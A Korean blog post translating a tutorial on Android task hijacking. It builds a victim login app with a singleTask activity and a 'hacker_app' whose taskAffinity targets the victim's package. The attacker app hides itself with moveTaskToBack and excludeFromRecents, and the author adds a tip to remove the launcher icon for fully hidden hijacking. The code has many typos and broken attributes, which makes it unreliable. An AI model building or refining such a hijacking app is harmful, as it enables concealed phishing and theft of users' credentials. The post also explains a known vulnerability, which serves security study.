Task Hijacking in Android

silver·2022년 11월 29일
0

앱 모니터링 관련 기술을 조사하다가
hijacking 까지 가게 되었는데,
그때 보게 된 글(https://www.geeksforgeeks.org/task-hijacking-in-android/)을 한번 한글로 정리해 보려한다.
어쩌다 여기까지 간것인지..

개요

이 글에서는 Task 또는 Activity를 hijacking하는 걸로 알려진 안드로이드의 아주 중요하고 새로운 개념을 배우도록 한다. hijacking이라는 단어에서 알 수 있듯이 이 개념은 우리가 어떻게 해커들이 우리들의 핸드폰에서 어플리케이션과 어플리케이션에 있는 중요한 데이터를 훔쳐가는지를 배워볼 수 있다. Task Hijacking 개념은 2015년에 USENIX에 의해 처음 소개되었다.

개념 이해하기

안드로이드 어플리케이션은 많은 Task를 가지고 있다. Task는 수행된 step과 activity의 모음이다.(뭐래는거야) 우리는 우리가 열었거나 사용했던 마지막 작업을 담고 있는 back stack에서 언제든지 어플리케이션을 실행할 수 있다. 그래서, 핵심 아이디어는 어플리케이션의 Manifest 에 있는 configurtions을 런타임에 바꿔서 activity와 task를 바꾸는 것이다. (네?) 먼저 back stack과 현재 activity (foreground activity)를 이해해보자.

  • 현재 실행하고 있는 activity를 A1이라고 하자
  • 다시 A2라는 activity를 열었다고 가정하자
  • 이제 A1은 back stack에 들어가있고 A2는 freground activity가 되었다.
  • A2가 종료될 때 A1은 foreground acitivity가 다시 될 것이다.(?)

이게 안드로이드 어플리케이션이 어떻게 동작하는 원리이다.(백스택에 있는 A1을 다시 불러와야하는거아닌가 하는 의문이 들지만 패스)

중요한 용어 이해하기

Task affinity

activity가 속한 task를 나타내는 속성이다. 기본값으로, 동일한 앱의 모든 활동은 동일한 task에 속해 있다.

<activity android:taskAffinity=""/>

Launch modes

activity의 새 인스턴스가 현재 작업과 연결되는 방식을 정의할 수 있다. Launch mode 속성의 작업은 특정 task에서 activity를 시작하는 방법에 대한 명령을 지정하는 것이다. 여기에는 4가지 종류의 launch mode가 있다.

  • standard
  • singleTop
  • singleTask
  • singleInstance

이 글에서 우리가 할 것은?

hacker_app 과 user_application이라는 두개의 앱을 개발할 것이다. user_application은 사용자들이 사용하는 정상적인 어플리케이션을 말하는 것이고, hacker_app은 user_application에서 사용자의 데이터를 훔치기 위한 어플리케이션이다.

launch mode가 activity의 'singleTask'인 경우에만 어플리케이션을 hijacking 할 수 있습니다.

user_applictaion 생성

Step 1: 새로운 프로젝트 생성

  • 새로운 프로젝트를 연다
  • 우리는 자바 언어를 사용하고 Empty Activity로 시작할 것이다. 다른 옵션들은 그대로 유지한다.
  • 어플리케이션의 이름은 user_application으로 한다.
  • activity_main.xml 과 MainActivity.java 두개의 기본 파일이 생성될 것이다.

Step 2: XML file 수정

app>res>layout>activity_main.xml 에 아래의 코드를 추가한다.

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
	xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">
    
    <TextView
    	android:id="@+id/textView2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Login Below"
        android:textSize="32dp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constratinTop_toTopOf="parent"
        app:layout_constratintVertical_bias="0.057" />

	<EditText
    	android:id="@+id/username"
        android:layout_width="363dp"
        android:layout_height="48dp"
        android:ems="10"
        android:hint="Enter you Username"
        android:inputType="textPersonName"
        app:layout_constratintBottom_toBottomOf="parent'
        app:layout_constratintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.231" />
        
	<EditText
    	android:id="@+id/password"
        android:layout_width="363dp"
        android:layout_height="48dp"
        android:layout_marginBottom="432dp"
        android:ems="10"
        android:hint="Enter your Password"
        android:inputType="textPassword"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextTextPersonName"
        app:layout_constraintVertical_bias="0.05"
        tools:ignore="UnknownId" />
        
	<Button
    	android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginBottom="340dp"
        android:onClick="movepage"
        android:text="Login"
        app:layout_constraintBotton_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/password" />
        
</androidx.constraintlayout.widget.ConstraintLayout>

app>오른쪽 클릭>new>activity>Empty Activity>name "LoggedIn"을 수행하면
app>res>layout>activity_logged_in.xml이 추가 되어 있을 것이다. 그리고 아래 코드를 추가한다.

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
	xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schmas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".LoggedIn">
    
    <TextView
    	android:id="@+id/userdisp"
        android:layout_width="wrap_content"
        anrdoid:layout_height="wrap_content"
        android:text="TextView"
        app:layout_constraintBottom_toTopOf="@+id/passdisp"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.87" />

	<TextView
    	android:id="@+id/paassdisp"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginBottom="500dp"
        android:text="TextView"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent" />

	<TextView
    	android:id="@+id/textView4"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Your Account Details"
        app:layout_constraintBottom_toTopOf="@+id/userdisp"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
        
</androidx.constraintlayout.widget.ConstraintLayout>

app>manifests>AndroidManifest.xml에 아래 코드를 추가한다.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.user_application">
  
	<application
    	android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:logo="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.User_application">
        <activity android:name=".LoggedIn"></activity>
        <activity android:name=".MainActivity"
        		  android:launchMode="singleTask"
                  android:exported="true">
           
			<intent-filter>
            	<action android:name="android.intent.action.Main" />
                
                <action android:name="android:intent.category.LAUNCHER" />
			</intent-filter>
		</activity>
	</application>
</manifest>

lauch mode가 "singleTask"로 설정되야 한다. (이 경우 취약성 존재)

Step 3: java file 수정

MainActivity.java에 아래 코드를 반영한다.

package com.example.user_application;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
	EditText username, password;
    Button clk;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
    	super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        username = (EditText)findViewById(R.id.username);
        password = (EditText)findViewById(R.id.password);
        clk = (Button)findViewById(R.id.button);
    }
    
    public void movepage(View v) {
    	String stname = username.getText().toString();
        String stpass = password.getText().toString();
        if(stname.equals("gfg") && stpass.equals("gfg123")) {
        	Intent in = new Intent(MainActivity.this, LoggedIn.class);
            in.putExtra("username", stname);
            in.putExtra("password", stpass);
            startActivity(in);
        }
    }
}

LoggedIn.java에 아래 코드를 반영한다.


package com.example.user_application;
  
import android.content.Intent;
import android.os.Bundle;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;

public class LoggedIn extends AppCompatActivity {
	@Override
    protected void onCreate(Bundle savedInstaceState) {
    	super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_logged_in);
        
        TextVeiw userdisp = (TextView)findViewById(R.id.userdisp);
        TextView passdisp = (TextVeiw)findViewById(R.id.passdisp);
        
        Intent intent = getIntent();
        String username = intent.getStringExtra("username");
        String password = intent.getStringExtra("password");
        userdisp.setText(username);
        passdisp.setText(password);
    }
}

이제 user_application 준비는 끝났다.

hacker_app 생성

Step 1: 새로운 프로젝트 생성

  • 새로운 프로젝트를 연다
  • 우리는 자바 언어를 사용하고 Empty Activity로 시작할 것이다. 다른 옵션들은 그대로 유지한다.
  • 어플리케이션의 이름은 hacker_app으로 한다.
  • activity_main.xml 과 MainActivity.java 두개의 기본 파일이 생성될 것이다.

Step 2: activity_main.xml 수정

app>res>layout>activity_main.xml에 아래 코드를 추가한다.


<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout 
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">
  
    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hacker App"
        android:textSize="32dp"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
  
    <TextView
        android:id="@+id/msg"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="TextView"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.175" />
  
</androidx.constraintlayout.widget.ConstraintLayout>

Step 3: MainActivity.java 수정

MainActivity.java 에 아래 코드를 반영한다.

package com.example.hacker_app;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import com.google.android.material.snackbar.Snackbar;

public class MainActivity extends AppcompatActivity {
	@Override
    protected void onCreate(Bundle savedInstanceState) {
    	super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        moveTaskToBack(true);
    }
    
    @Override
    public void onResume() {
    	super.onResume();
        setContentView(R.layout.activity_main);
    }
}

여기서 moveTaskToBack(boolean nonRoot) 라는 메서드는 현재의 activity가 속해있는 task를 백그라운드로 즉시 이동시킵니다.

Step 4: AndroidManifest.xml 수정

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.example.hacker_app"
    tools:ignore="ExtraText">
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"
        tools:ignore="CoarseFineLocation" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.Hacker_app"
        android:taskAffinity="com.example.user_application">
        <activity android:name=".MainActivity" 
        		  android:launchMode="singleTask" 
                  android:excludeFromRecents="true"
            	  android:exported="true"
            	  tools:ignore="WrongManifestParent">
  
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
  
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

여기서, 우리는 user_application을 타겟으로 하기 때문에 task affinity를 user_application의 패키지 이름으로 한다.
android:taskAffinity="com.example.user_application"
또 android:excludeFromeRecents 는 공격자의 앱이 숨겨지도록 작업이 최근 앱에 나열되지 않도록 합니다.

두개의 앱을 모두 한 핸드폰에 설치한다.

위에 적어둔 url에 들어가면 이 두개의 어플이 어떻게 동작하는지 볼 수 있다. 간략하게 설명하자면 user_application을 실행한 후 back stack에 넣어둔 뒤 hacker_app을 열면 hacker_app은 foreground에서는 아무 일도 하지 않고 사라진다. 아까 설정한 것으로 인해 hacker_app은 back stack으로 들어갔지만 보이지 않고 back stack에는 user_application만이 보인다. 이제 user_application을 다시 열면 hacker_app이 user_application의 작업을 가로 챈다. 이런 방식으로 task hijacking을 할 수 있다.

위의 링크에 해당하는 글은 여기서 끝나지만 한가지 조금만 더 플러스 하자면..
해당 영상을 보았다면 알 수 있듯이 앱 설치 목록 화면에 hacker_app 아이콘이 보이는 것을 알 수 있다. 여기서 이것조차 보이지 않도록 하려면 hacker_app의 AndroidManifest.xml에서 intent-filter를 삭제해주면 더이상 이것조차 보이지 않는다. 완벽하게 숨어서 hijacking을 할 수 있는 앱이 생성되었다고 볼 수 있다(완전 안보이는 것은 아니지만...) 짱이네!

0개의 댓글